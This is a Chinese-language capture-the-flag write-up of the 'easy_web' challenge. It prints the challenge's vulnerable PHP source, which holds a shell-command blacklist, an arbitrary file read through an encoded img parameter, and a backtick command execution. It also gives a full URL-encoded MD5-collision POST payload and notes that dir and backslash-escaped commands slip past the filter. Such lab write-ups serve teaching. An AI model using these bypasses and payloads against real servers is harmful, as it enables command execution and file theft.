easy_web
进入题目观察到url有点信息特别是cmd和img
尝试cmd=ls发现被禁止了说明Index.php中有waf禁止了一些参数,具体只有看到index.php源码才能进一步判断
接下来就看到了img这个参数看起来有点想是base64编码后的
当时看到有这个(红色标记的地方)我就一直点没想到后头就真有东西出来
最后的结果就是555.png,唉当时看到555.png还是没什么思路,当时不晓得为什么还想将444.png和333.png重新按照555.png编码
结果是没有任何反应,当时就卡住了没有一点思路,后面看到wp才晓得这个时候应该是编码index.php而不是你胡想的参数(现在想来也是,没源码你这个题你根本就做不了,所以一切都要围绕看到index.php的源码前提下)
观察到有base64,估计index.php的内容经过base64编码了(其实当时,我访问了555.png并且将图片下载了本地然后base64编码了一次就和img src=’data’:images/gif;base,内容太多了就不沾了,一样了)
简单的代码审计主要考点是md5强比较绕过之前做过basectf2024也是考到一样的点,没想到这2019出的题对2024都还有帮助,可见这题是多么的经典。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } }
?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
|
没啥好说的直接用工具fastcoll。工具的使用fastcoll.exe -o a a1,生成的两个文件a,a1就是两个不同文件但md5后是相同的最后经过urlencode一次就行(当时我想偷懒直接在Cyber上直接编码,发现传上去的数据怎么也不对,无语😶,最后写了下代码才成功)
1 2
| <?php echo urlencode(file_get_contents('a1'));
|
1
| a=%EE%AA%03%C7Iz%28%1F%9E%1FX%B0%F3%0C%F7L%24%E5F%E7%F7%3BV%CAO69%C6%D308%D2Z%F3%BA%04%ECh-Ek%04g%B2%A2%3B%14%1AR%7C%EBA%F2%95%24%A59%15%0Dp%13%8C%ED%C5%D7%15%E2%7F%B7%9E%AE%F3%DC%87v%3Ck%F6%AE%BDy%D5q%C5x%01%BF%0B%EC%08a%16O%C7%9D%8D%09%B0v%3FOw%3B%87%7Ef%09J%8B%D4%FD%9B%D20%21g%95%D8Cm%AE%93%B5%EC%89%3F%13%DD&b=%EE%AA%03%C7Iz%28%1F%9E%1FX%B0%F3%0C%F7L%24%E5Fg%F7%3BV%CAO69%C6%D308%D2Z%F3%BA%04%ECh-Ek%04g%B2%A2%BB%14%1AR%7C%EBA%F2%95%24%A59%15%0D%F0%13%8C%ED%C5%D7%15%E2%7F%B7%9E%AE%F3%DC%87v%3Ck%F6%AE%BDy%D5qEx%01%BF%0B%EC%08a%16O%C7%9D%8D%09%B0v%3FOw%3B%87%7Ef%09J%8BT%FD%9B%D20%21g%95%D8Cm%AE%93%B5l%89%3F%13%DD
|
最后一个过滤了很多就是没过滤dir和要用cat的话反斜杠绕过(\)即可
最后简单总结下:题目虽然不是很难,对我来说唯一难点就是找index.php的源码其他没啥over